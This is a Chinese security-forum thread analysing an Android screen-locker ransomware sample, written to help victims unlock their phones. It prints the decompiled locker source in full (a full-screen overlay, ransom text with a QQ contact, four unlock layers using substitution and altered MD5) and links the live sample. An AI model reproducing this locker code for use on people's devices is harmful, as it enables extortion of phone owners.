吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 55149|回复: 203
收起左侧

[移动样本分析] 4层加密+另类MD5加密的锁机软件

    [复制链接]
云在天 发表于 2017-12-12 00:00
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 云在天 于 2018-11-14 18:41 编辑

2018年1月12日23点01分,被坛友从MacOS拖到window来看看这个作者又更新了算法。HG1,HG2,HG3,HG4方式不变,后面的中文变量改变了计算方式
新的解锁工具:链接: https://pan.baidu.com/s/1mjv1pmK 密码: 5h6b
--------------------------------------------------------------------------------------------------------------------------------写在前面 有些坛友说想私下讨论或者联系方式,咱还是尊重论坛的规定吧。要是你想讨论锁机这类的可以把样本发到样本区@我一下,我会看的,也会出下面这种分析的。By the way,加强壳的就算了 脱壳技术就是鸡肋

废话不多说直奔主题


求助帖:手机被锁机,求大神帮忙找到解锁密码        @默笑458


因为好久没有逆向这种锁机软件了,所以思想还是停留在单纯的AES/DES的基础上


第一步:先拖进模拟器,先搞清楚他是怎么运行的。


1.jpg


生成了一个比较流行游戏的图标,然后点击运行
2.jpg

然后出现申请Root权限,我这里点的允许,如果点拒绝,看代码是会让你百度什么是root


3.jpg

允许以后,他会在system里安装一个time.apk就是这个不变的人生了,然后会自动运行并设置为开机自启。毫无疑问,这个新安装的程序就是我们要找的主程序

4.jpg

上图就是锁机以后的样子。我们通过adb把这个apk下载到本地,然后拖进Android Killer,然后JD-gui打开,拖到JEB里也可以,不过本机的JEB抽风了。。。。

5.jpg
通过AK我们得知人口点是hg666,我们就从这里下手

[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.hg.qq2840484641;
 
import adrt.ADRTLogCatReader;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
 
public class hg666
  extends Activity
{
  @Override
  protected void onCreate(Bundle paramBundle)
  {
    ADRTLogCatReader.onContext(this, "com.aide.ui");
    super.onCreate(paramBundle);
    setContentView([url=tel:2130903041]2130903041[/url]);
    try
    {
      paramBundle = Class.forName("com.hg.qq2840484641.HG");//这里是调用的方法
      startService(new Intent(this, paramBundle));
      return;
    }
    catch (ClassNotFoundException paramBundle)
    {
      throw new NoClassDefFoundError(paramBundle.getMessage());
    }
  }
}


我们进到HG里面去看,代码太长了,我还是改回截图吧
6.jpg

这是一堆的定义值,我们继续往下看
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
this.HG1 = ((int)(Math.random() * [url=tel:1000000]1000000[/url]));
    this.HG2 = ((int)(Math.random() * [url=tel:1000000]1000000[/url]));
    this.HG3 = ((int)(Math.random() * [url=tel:1000000]1000000[/url]));
    this.HG4 = ((int)(Math.random() * [url=tel:1000000]1000000[/url]));
    this.幻殇 = (this.HG1 + 1);
    this.似梦 = (this.HG2 + 10);
    this.绿绮 = (this.HG3 + 100);
    this.如烟 = (this.HG4 + 1100);
    this.tv1.setText(幻光.huanguang("" + this.HG1));
    this.tv2.setText("你的解锁序列号为:");
    this.tv3.setText("解锁加QQ:" + paramString);
    this.tv4.setText("解锁滴滴,没钱勿扰。");
    this.tv5.setText("My 潇洒先生");
    this.bt.setText("解除锁定");
this.bt.setOnClickListener(new View.OnClickListener()


我解释下这小段的意思,定义了HG1-HG4四个随机数长度为6位,然后又分别在4个随机数基础上加了1,10,100,1100做了4个变量,然后调用‘幻光.huanguang’这个方法来计算序列号,然后显示出来,再监听按钮点击事件,再往后就是4组判断了
先放一张大图,然后我解析其中两段
7.jpg

[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
if (HG.access$L1000004(HG.this).getText().toString().isEmpty()) {}//这里是判断不为空就进行下一步判断
       do
       {
         return;
         if (HG.access$L1000004(HG.this).getText().toString().equals("" + HG.this.幻殇)) //这是输入的值与幻殇这个值比较
         {
           HG.access$L1000005(HG.this).setText(幻光.huanguang("" + HG.this.HG2));
           HG.access$L1000006(HG.this).setText("你的解锁序列号为:");
           HG.access$L1000008(HG.this).setText("暮霞如烟,浮云千幻");
           HG.access$L1000009(HG.this).setText("欢迎来到第二层");
           HG.access$L1000003(HG.this).setText("解除锁定");
           return;
         }


第一个IF是判断输入值是不是空值,不是空值下一步判断
第二个if是判断输入值与幻殇这个值是不是相等,相等执行下一步。
我们先来看幻殇这个值是怎么来的,是HG1+1得到的,想要得到幻殇这个值,就需要得到HG1,那HG1又是个随机数,我们就要找哪里体现了这个随机数
【this.tv1.setText(幻光.huanguang("" + this.HG1));】这个地方执行这个方法后得到序列号,而这个方法的参数就是HG1,我们去看看这个方法
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.hg.;
 
public class 幻光
{
  private static String hexString = "[url=tel:0123456789]0123456789[/url]";
   
  public static String huanguang(String paramString)
  {
    int j = 0;
    paramString = paramString.getBytes();
    StringBuilder localStringBuilder = new StringBuilder(paramString.length * 2);
    int i = 0;
    String[] arrayOfString1;
    String[] arrayOfString2;
    if (i >= paramString.length)
    {
      paramString = "";
      arrayOfString1 = new String[10];
      arrayOfString1[0] = "0";
      arrayOfString1[1] = "1";
      arrayOfString1[2] = "2";
      arrayOfString1[3] = "3";
      arrayOfString1[4] = "4";
      arrayOfString1[5] = "5";
      arrayOfString1[6] = "6";
      arrayOfString1[7] = "7";
      arrayOfString1[8] = "8";
      arrayOfString1[9] = "9";
      arrayOfString2 = new String[10];
      arrayOfString2[0] = "A";
      arrayOfString2[1] = "B";
      arrayOfString2[2] = "C";
      arrayOfString2[3] = "D";
      arrayOfString2[4] = "E";
      arrayOfString2[5] = "F";
      arrayOfString2[6] = "G";
      arrayOfString2[7] = "H";
      arrayOfString2[8] = "I";
      arrayOfString2[9] = "J";
      i = j;
    }
    for (;;)
    {
      if (i >= 10)
      {
        return paramString;
        localStringBuilder.append(hexString.charAt((paramString[i] & 0xF) >> 0));
        i += 1;
        break;
      }
      if (i == 0) {
        paramString = localStringBuilder.toString().replace(arrayOfString1[i], arrayOfString2[i]);
      }
      paramString = paramString.replace(arrayOfString1[i], arrayOfString2[i]);
      i += 1;
    }
  }
}


分析可知,这就是个文本替换,我用易语言写了一个例子,大家应该能看懂
8.jpg
这是逆运算,这个方法的运算就是
0 1 2 3 4 5 6 7 8 9
A B C D E F G H I J
这样依次替换。
我们输入序列号进行逆运算后得到HG1,然后HG1+1得到幻殇的值,就是第一层密码
9.jpg
工具是临时做的,有点简陋,输入第一层密码后弹出第二次密码的输入框,框里就是解锁第一层的密码

10.jpg

我们点击解除锁定,来到第二层,看上面的代码第二层和第一层算法是一样的,所以我们就不分析了,直接到第三层
11.jpg

第三层如图

[Java] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
if (HG.access$L1000004(HG.this).getText().toString().equals(幻光2.GetMD5Code("" + HG.this.绿绮)))
        {
          HG.access$L1000005(HG.this).setText(幻光.huanguang("" + HG.this.HG4));
          HG.access$L1000006(HG.this).setText("你的解锁序列号为:");
          HG.access$L1000008(HG.this).setText("已悲境相空,复作泡云灭");
          HG.access$L1000009(HG.this).setText("欢迎来到最后一层,解锁完这层你就可以正常使用手机了");
          HG.access$L1000003(HG.this).setText("解除锁定");
          return;

看表面我以为第三层只是普通的MD5加密,试了一下不对,所以还是继续跟方法

[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.hg.qq2840484641;
 
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
 
public class 幻光2
{
  private static final String[] strDigits = { "9", "8", "7", "6", "5", "4", "3", "2", "1", "0", "a", "b", "c", "d", "e", "f" };
   
  public static String GetMD5Code(String paramString)
  {
    String str2 = (String)null;
    try
    {
      String str1 = new String(paramString);
      localNoSuchAlgorithmException1.printStackTrace();
    }
    catch (NoSuchAlgorithmException localNoSuchAlgorithmException1)
    {
      try
      {
        paramString = byteToString(MessageDigest.getInstance("MD5").digest(paramString.getBytes()));
        return paramString;
      }
      catch (NoSuchAlgorithmException localNoSuchAlgorithmException3)
      {
        for (;;)
        {
          paramString = localNoSuchAlgorithmException1;
          NoSuchAlgorithmException localNoSuchAlgorithmException2 = localNoSuchAlgorithmException3;
        }
      }
      localNoSuchAlgorithmException1 = localNoSuchAlgorithmException1;
      paramString = str2;
    }
    return paramString;
  }
   
  private static String byteToArrayString(byte paramByte)
  {
    int i = paramByte;
    if (paramByte < 0) {
      i = paramByte + 256;
    }
    paramByte = i / 16;
    return strDigits[paramByte] + strDigits[(i % 16)];
  }
   
  private static String byteToString(byte[] paramArrayOfByte)
  {
    StringBuffer localStringBuffer = new StringBuffer();
    int i = 0;
    for (;;)
    {
      if (i >= paramArrayOfByte.length) {
        return localStringBuffer.toString();
      }
      localStringBuffer.append(byteToArrayString(paramArrayOfByte[i]));
      i += 1;
    }
  }
}


乍一看和普通MD5加密无异,细细分析才知道他改了MD5里的默认数组【不知道到底叫啥姑且叫这个吧】,我们找一段MD5加密的JAVA代码更改数组以后调试,成功

因为不知道易语言MD5加密怎么改,又懒得写JS代码,所以直接POST了调试代码,所以工具的第三步开始就有点慢了,等会我会贴代码,会的大神写个工具让我学习学习

12.jpg

第四层和第三层算法一样就不再赘述了

最后用卸载工具卸载掉这个APK就可以了。

【解锁工具】    解密工具.rar (298.75 KB, 下载次数: 197)
                         链接: https://pan.baidu.com/s/1qYuVuVy 密码: 53s9
【样本】    样本.rar (42.66 KB, 下载次数: 332) 直接安装就是锁机程序了,不会请求root权限,安装慎重!!!!!

【主代码】
[Java] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
package com.hg.qq2840484641;
import adrt.ADRTLogCatReader;
import android.app.Application;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import android.text.Editable;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.view.WindowManager.LayoutParams;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
 
public class HG
  extends Service
{
  int HG1;
  int HG2;
  int HG3;
  int HG4;
  private Button bt;
  private EditText ed;
  private View mFloatLayout;
  private WindowManager mWindowManager;
  private TextView tv1;
  private TextView tv2;
  private TextView tv3;
  private TextView tv4;
  private TextView tv5;
  private WindowManager.LayoutParams wmParams;
  long 似梦;
  long 如烟;
  long 幻殇;
  long 绿绮;
   
  private void HG(String paramString)
  {
    this.wmParams = new WindowManager.LayoutParams();
    Application localApplication = getApplication();
    getApplication();
    this.mWindowManager = ((WindowManager)localApplication.getSystemService(Context.WINDOW_SERVICE));
    this.wmParams.type = 2010;
    this.wmParams.format = 1;
    this.wmParams.flags = 1280;
    this.wmParams.gravity = 48;
    this.wmParams.x = 0;
    this.wmParams.y = 0;
    this.wmParams.width = -1;
    this.wmParams.height = -1;
    this.mFloatLayout = LayoutInflater.from(getApplication()).inflate([url=tel:2130903040]2130903040[/url], (ViewGroup)null);
    this.mWindowManager.addView(this.mFloatLayout, this.wmParams);
    this.bt = ((Button)this.mFloatLayout.findViewById([url=tel:2131099652]2131099652[/url]));
    this.ed = ((EditText)this.mFloatLayout.findViewById([url=tel:2131099651]2131099651[/url]));
    this.tv1 = ((TextView)this.mFloatLayout.findViewById([url=tel:2131099654]2131099654[/url]));
    this.tv2 = ((TextView)this.mFloatLayout.findViewById([url=tel:2131099653]2131099653[/url]));
    this.tv3 = ((TextView)this.mFloatLayout.findViewById([url=tel:2131099650]2131099650[/url]));
    this.tv4 = ((TextView)this.mFloatLayout.findViewById([url=tel:2131099649]2131099649[/url]));
    this.tv5 = ((TextView)this.mFloatLayout.findViewById([url=tel:2131099648]2131099648[/url]));
    this.HG1 = ((int)(Math.random() * [url=tel:1000000]1000000[/url]));
    this.HG2 = ((int)(Math.random() * [url=tel:1000000]1000000[/url]));
    this.HG3 = ((int)(Math.random() * [url=tel:1000000]1000000[/url]));
    this.HG4 = ((int)(Math.random() * [url=tel:1000000]1000000[/url]));
    this.幻殇 = (this.HG1 + 1);
    this.似梦 = (this.HG2 + 10);
    this.绿绮 = (this.HG3 + 100);
    this.如烟 = (this.HG4 + 1100);
    this.tv1.setText(幻光.huanguang("" + this.HG1));
    this.tv2.setText("你的解锁序列号为:");
    this.tv3.setText("解锁加QQ:" + paramString);
    this.tv4.setText("解锁滴滴,没钱勿扰。");
    this.tv5.setText("My 潇洒先生");
    this.bt.setText("解除锁定");
    this.bt.setOnClickListener(new View.OnClickListener()
    {
      @Override
      public void onClick(View paramAnonymousView)
      {
        if (HG.access$L1000004(HG.this).getText().toString().isEmpty()) {}
        do
        {
          return;
          if (HG.access$L1000004(HG.this).getText().toString().equals("" + HG.this.幻殇))
          {
            HG.access$L1000005(HG.this).setText(幻光.huanguang("" + HG.this.HG2));
            HG.access$L1000006(HG.this).setText("你的解锁序列号为:");
            HG.access$L1000008(HG.this).setText("暮霞如烟,浮云千幻");
            HG.access$L1000009(HG.this).setText("欢迎来到第二层");
            HG.access$L1000003(HG.this).setText("解除锁定");
            return;
          }
          if (HG.access$L1000004(HG.this).getText().toString().equals("" + HG.this.似梦))
          {
            HG.access$L1000005(HG.this).setText(幻光.huanguang("" + HG.this.HG3));
            HG.access$L1000006(HG.this).setText("你的解锁序列号为:");
            HG.access$L1000008(HG.this).setText("水花凝幻质,墨彩染空尘");
            HG.access$L1000009(HG.this).setText("欢迎来到第三层");
            HG.access$L1000003(HG.this).setText("解除锁定");
            return;
          }
          if (HG.access$L1000004(HG.this).getText().toString().equals(幻光2.GetMD5Code("" + HG.this.绿绮)))
          {
            HG.access$L1000005(HG.this).setText(幻光.huanguang("" + HG.this.HG4));
            HG.access$L1000006(HG.this).setText("你的解锁序列号为:");
            HG.access$L1000008(HG.this).setText("已悲境相空,复作泡云灭");
            HG.access$L1000009(HG.this).setText("欢迎来到最后一层,解锁完这层你就可以正常使用手机了");
            HG.access$L1000003(HG.this).setText("解除锁定");
            return;
          }
        } while (!HG.access$L1000004(HG.this).getText().toString().equals(幻光2.GetMD5Code("" + HG.this.如烟)));
        HG.access$L1000001(HG.this).removeView(HG.access$L1000002(HG.this));
      }
    });
  }
   
  @Override
  public IBinder onBind(Intent paramIntent)
  {
    return (IBinder)null;
  }
   
  @Override
  public void onCreate()
  {
    ADRTLogCatReader.onContext(this, "com.aide.ui");
    super.onCreate();
  }
   
  @Override
  public void onStart(Intent paramIntent, int paramInt)
  {
    HG("[url=tel:2856437148]2856437148[/url]");
    super.onStart(paramIntent, paramInt);
  }
}

【字符替换代码】
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.hg.qq2840484641;
 
public class 幻光
{
  private static String hexString = "[url=tel:0123456789]0123456789[/url]";
   
  public static String huanguang(String paramString)
  {
    int j = 0;
    paramString = paramString.getBytes();
    StringBuilder localStringBuilder = new StringBuilder(paramString.length * 2);
    int i = 0;
    String[] arrayOfString1;
    String[] arrayOfString2;
    if (i >= paramString.length)
    {
      paramString = "";
      arrayOfString1 = new String[10];
      arrayOfString1[0] = "0";
      arrayOfString1[1] = "1";
      arrayOfString1[2] = "2";
      arrayOfString1[3] = "3";
      arrayOfString1[4] = "4";
      arrayOfString1[5] = "5";
      arrayOfString1[6] = "6";
      arrayOfString1[7] = "7";
      arrayOfString1[8] = "8";
      arrayOfString1[9] = "9";
      arrayOfString2 = new String[10];
      arrayOfString2[0] = "A";
      arrayOfString2[1] = "B";
      arrayOfString2[2] = "C";
      arrayOfString2[3] = "D";
      arrayOfString2[4] = "E";
      arrayOfString2[5] = "F";
      arrayOfString2[6] = "G";
      arrayOfString2[7] = "H";
      arrayOfString2[8] = "I";
      arrayOfString2[9] = "J";
      i = j;
    }
    for (;;)
    {
      if (i >= 10)
      {
        return paramString;
        localStringBuilder.append(hexString.charAt((paramString[i] & 0xF) >> 0));
        i += 1;
        break;
      }
      if (i == 0) {
        paramString = localStringBuilder.toString().replace(arrayOfString1[i], arrayOfString2[i]);
      }
      paramString = paramString.replace(arrayOfString1[i], arrayOfString2[i]);
      i += 1;
    }
  }
}

【异形MD5加密代码】
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.hg.qq2840484641;
 
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
 
public class 幻光2
{
  private static final String[] strDigits = { "9", "8", "7", "6", "5", "4", "3", "2", "1", "0", "a", "b", "c", "d", "e", "f" };
   
  public static String GetMD5Code(String paramString)
  {
    String str2 = (String)null;
    try
    {
      String str1 = new String(paramString);
      localNoSuchAlgorithmException1.printStackTrace();
    }
    catch (NoSuchAlgorithmException localNoSuchAlgorithmException1)
    {
      try
      {
        paramString = byteToString(MessageDigest.getInstance("MD5").digest(paramString.getBytes()));
        return paramString;
      }
      catch (NoSuchAlgorithmException localNoSuchAlgorithmException3)
      {
        for (;;)
        {
          paramString = localNoSuchAlgorithmException1;
          NoSuchAlgorithmException localNoSuchAlgorithmException2 = localNoSuchAlgorithmException3;
        }
      }
      localNoSuchAlgorithmException1 = localNoSuchAlgorithmException1;
      paramString = str2;
    }
    return paramString;
  }
   
  private static String byteToArrayString(byte paramByte)
  {
    int i = paramByte;
    if (paramByte < 0) {
      i = paramByte + 256;
    }
    paramByte = i / 16;
    return strDigits[paramByte] + strDigits[(i % 16)];
  }
   
  private static String byteToString(byte[] paramArrayOfByte)
  {
    StringBuffer localStringBuffer = new StringBuffer();
    int i = 0;
    for (;;)
    {
      if (i >= paramArrayOfByte.length) {
        return localStringBuffer.toString();
      }
      localStringBuffer.append(byteToArrayString(paramArrayOfByte[i]));
      i += 1;
    }
  }
}


【附件】 样本直接安装为锁屏程序,慎重安装!!!
写在最后:不要贪图小便宜!!如果我的帖子有帮助到你,请你评下分,免费的!!!

免费评分

参与人数 203吾爱币 +202 热心值 +199 收起 理由
电科信息士 + 1 用心讨论,共获提升!
11987GENIUS + 1 我很赞同!秀啊,兄嘚
独孤傲弑 + 1 + 1 我很赞同!
Ouyang520 + 1 + 1 谢谢@Thanks!
ZYXZYX999 + 1 + 1 谢谢@Thanks!
huanyufly + 1 + 1 热心回复!
75924810 + 1 热心回复!
我爱辉哥 + 1 + 1 我很赞同!
雷少5590 + 1 用心讨论,共获提升!
XNR + 1 + 1 感谢您的宝贵建议,我们会努力争取做得更好!
残花丶夕阳 + 1 + 1 谢谢@Thanks!
天使团 + 1 + 1 没被锁过 点赞
明珠 + 1 + 1 用心讨论,共获提升!
xindong8 + 1 + 1 受益匪浅
dzx399 + 1 + 1 大神手机得解锁了,谢谢谢
wxy123 + 1 + 1 谢谢@Thanks!
Setsuro + 1 我很赞同!
花鸟风月影 + 1 + 1 谢谢@Thanks!
Onlystone + 1 + 1 谢谢@Thanks!
xiongchaochao + 1 + 1 我很赞同!
还有随 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
蜗牛也很牛 + 1 + 1 热心回复!
粉藍弟 + 1 + 1 用心讨论,共获提升!
xxxxxxc + 1 + 1 谢谢@Thanks!
thunder4u + 1 + 1 我很赞同!
春风秋水2006 + 1 + 1 用心讨论,共获提升!
hanchi0510 + 1 谢谢@Thanks!
用了个心 + 1 + 1 谢谢@Thanks!
yida666 + 1 + 1 我很赞同!
向前向厚 + 1 热心回复!
天之哀伤 + 1 + 1 谢谢@Thanks!
Google账号 + 1 用心讨论,共获提升!
yangmengs + 1 + 1 我很赞同!
huyukun + 1 + 1 用心讨论,共获提升!
小也 + 1 + 1 热心回复!
但我只是小白 + 1 + 1 谢谢@Thanks!
皮的没有边 + 1 + 1 谢谢@Thanks!
style城 + 1 用心讨论,共获提升!
dyingw01f + 1 + 1 用心讨论,共获提升!
haipeng0220 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Aacud + 1 + 1 用心讨论,共获提升!
ken98 + 1 + 1 我很赞同!
Q630466210 + 1 + 1 热心回复!
xd07014 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
传说中的yang哥 + 1 + 1 用心讨论,共获提升!
专注被撩三十年 + 1 + 1 我很赞同!
13827923668 + 1 + 1 谢谢@Thanks!
wei636 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
少帥啊 + 1 鼓励转贴优秀软件安全工具和文档!
斯巴达 + 1 + 1 谢谢@Thanks!
拉普拉斯方程 + 1 + 1 热心回复!
暗黑佟大为 + 1 + 1 我很赞同!
zhanggen + 1 + 1 用心讨论,共获提升!
jnez112358 + 1 + 1 谢谢@Thanks!
txzh + 1 + 1 谢谢@Thanks!
msxw888 + 1 + 1 谢谢@Thanks!
fanwan + 1 谢谢@Thanks!
guanchazhe + 1 + 1 谢谢@Thanks!
xx1055106557 + 1 + 1 我很赞同!
weep0214 + 1 用心讨论,共获提升!
siuhoapdou + 1 + 1 谢谢@Thanks!
小小吴 + 1 + 1 热心回复!
wojiaopanhaoran + 1 + 1 热心回复!
whdfog + 1 + 1 我很赞同!
ZZPPY1 + 1 + 1 我很赞同!
LHY233 + 1 用心讨论,共获提升!
beijing999923 + 1 + 1 谢谢@Thanks!
EchoAria + 1 + 1 我很赞同!
liujinxin369 + 1 + 1 我很赞同!
LANGJKASDF + 1 + 1 我很赞同!
村人 + 1 + 1 用心讨论,共获提升!
123456789we + 1 + 1 热心回复!
yiwai2012 + 1 这个你输入的序列号是随便输入的吗?
洛十肆 + 1 + 1 谢谢@Thanks!
?﹏從此沉默 + 1 + 1 已答复!
caige2008 + 1 + 1 用心讨论,共获提升!
qgwygjhhxy + 1 + 1 我很赞同!
lioow_19960806 + 1 + 1 热心回复!
小Q主人 + 1 + 1 谢谢@Thanks!
熙爷商务 + 8 + 8 用心讨论,共获提升!
旋木过流年 + 1 + 1 用心讨论,共获提升!
YANGKING + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
jadepi + 1 谢谢@Thanks!
caoaries + 1 + 1 热心回复!
tianruo1987 + 1 + 1 我很赞同!
greedysoul + 1 + 1 用心讨论,共获提升!
only影子丶 + 1 + 1 热心回复!
寒蝉鸣泣之时 + 1 + 1 谢谢@Thanks!
duhongchang + 1 + 1 用心讨论,共获提升!
wuaipojie + 1 + 1 谢谢@Thanks!
garen + 1 + 1 用心讨论,共获提升!
薛定谔的喵 + 1 谢谢@Thanks!
用户ID隐藏 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
q1365528996 + 1 谢谢@Thanks!
没有如果儿 + 1 + 1 热心回复!
bao1024 + 1 + 1 我很赞同!
13556837115 + 1 + 1 我很赞同!
羽月莉音 + 1 + 1 我很赞同!
schm168 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
Emoei_PG + 1 我很赞同!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

kevin-啊凯 发表于 2017-12-19 04:03
建议楼主以后不要把锁机代码发出来,吾爱论坛里面会有人会拿这个代码再做一个一样的去骗人,被骗的人有的人没玩吾爱上当了没法解锁,就算有玩吾爱论坛,有的人不一定看到这个解锁帖子(转播提醒大家)

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
thunder4u + 1 + 1 其实技术并无好坏,好坏在于人心。个人觉得贴代码是必要的,为了学习。

查看全部评分

 楼主| 云在天 发表于 2018-1-3 16:18
本帖最后由 云在天 于 2018-1-3 16:20 编辑
yiwai2012 发表于 2018-1-3 16:17
按我自己想的来说只能改这里吧 但是貌似结果不一样呢

修改前正常的MD5

这个层数可能我说的比较模糊。

我把源码给你看看吧
[JavaScript] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
var hexcase = 0;
var b64pad = "";
var chrsz = 8;
 
function hex_md5(s) {
    return binl2hex(core_md5(str2binl(s), s.length * chrsz))
}
function b64_md5(s) {
    return binl2b64(core_md5(str2binl(s), s.length * chrsz))
}
function str_md5(s) {
    return binl2str(core_md5(str2binl(s), s.length * chrsz))
}
function hex_hmac_md5(key, data) {
    return binl2hex(core_hmac_md5(key, data))
}
function b64_hmac_md5(key, data) {
    return binl2b64(core_hmac_md5(key, data))
}
function str_hmac_md5(key, data) {
    return binl2str(core_hmac_md5(key, data))
}
function md5_vm_test() {
    return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72"
}
function core_md5(x, len) {
    x[len >> 5] |= 0x80 << ((len) % 32);
    x[(((len + 64) >>> 9) << 4) + 14] = len;
    var a = 1732584193;
    var b = -271733879;
    var c = -1732584194;
    var d = 271733878;
    for (var i = 0; i < x.length; i += 16) {
        var olda = a;
        var oldb = b;
        var oldc = c;
        var oldd = d;
        a = md5_ff(a, b, c, d, x[i + 0], 7, -680876936);
        d = md5_ff(d, a, b, c, x[i + 1], 12, -389564586);
        c = md5_ff(c, d, a, b, x[i + 2], 17, 606105819);
        b = md5_ff(b, c, d, a, x[i + 3], 22, -1044525330);
        a = md5_ff(a, b, c, d, x[i + 4], 7, -176418897);
        d = md5_ff(d, a, b, c, x[i + 5], 12, 1200080426);
        c = md5_ff(c, d, a, b, x[i + 6], 17, -1473231341);
        b = md5_ff(b, c, d, a, x[i + 7], 22, -45705983);
        a = md5_ff(a, b, c, d, x[i + 8], 7, 1770035416);
        d = md5_ff(d, a, b, c, x[i + 9], 12, -1958414417);
        c = md5_ff(c, d, a, b, x[i + 10], 17, -42063);
        b = md5_ff(b, c, d, a, x[i + 11], 22, -1990404162);
        a = md5_ff(a, b, c, d, x[i + 12], 7, 1804603682);
        d = md5_ff(d, a, b, c, x[i + 13], 12, -40341101);
        c = md5_ff(c, d, a, b, x[i + 14], 17, -1502002290);
        b = md5_ff(b, c, d, a, x[i + 15], 22, 1236535329);
        a = md5_gg(a, b, c, d, x[i + 1], 5, -165796510);
        d = md5_gg(d, a, b, c, x[i + 6], 9, -1069501632);
        c = md5_gg(c, d, a, b, x[i + 11], 14, 643717713);
        b = md5_gg(b, c, d, a, x[i + 0], 20, -373897302);
        a = md5_gg(a, b, c, d, x[i + 5], 5, -701558691);
        d = md5_gg(d, a, b, c, x[i + 10], 9, 38016083);
        c = md5_gg(c, d, a, b, x[i + 15], 14, -660478335);
        b = md5_gg(b, c, d, a, x[i + 4], 20, -405537848);
        a = md5_gg(a, b, c, d, x[i + 9], 5, 568446438);
        d = md5_gg(d, a, b, c, x[i + 14], 9, -1019803690);
        c = md5_gg(c, d, a, b, x[i + 3], 14, -187363961);
        b = md5_gg(b, c, d, a, x[i + 8], 20, 1163531501);
        a = md5_gg(a, b, c, d, x[i + 13], 5, -1444681467);
        d = md5_gg(d, a, b, c, x[i + 2], 9, -51403784);
        c = md5_gg(c, d, a, b, x[i + 7], 14, 1735328473);
        b = md5_gg(b, c, d, a, x[i + 12], 20, -1926607734);
        a = md5_hh(a, b, c, d, x[i + 5], 4, -378558);
        d = md5_hh(d, a, b, c, x[i + 8], 11, -2022574463);
        c = md5_hh(c, d, a, b, x[i + 11], 16, 1839030562);
        b = md5_hh(b, c, d, a, x[i + 14], 23, -35309556);
        a = md5_hh(a, b, c, d, x[i + 1], 4, -1530992060);
        d = md5_hh(d, a, b, c, x[i + 4], 11, 1272893353);
        c = md5_hh(c, d, a, b, x[i + 7], 16, -155497632);
        b = md5_hh(b, c, d, a, x[i + 10], 23, -1094730640);
        a = md5_hh(a, b, c, d, x[i + 13], 4, 681279174);
        d = md5_hh(d, a, b, c, x[i + 0], 11, -358537222);
        c = md5_hh(c, d, a, b, x[i + 3], 16, -722521979);
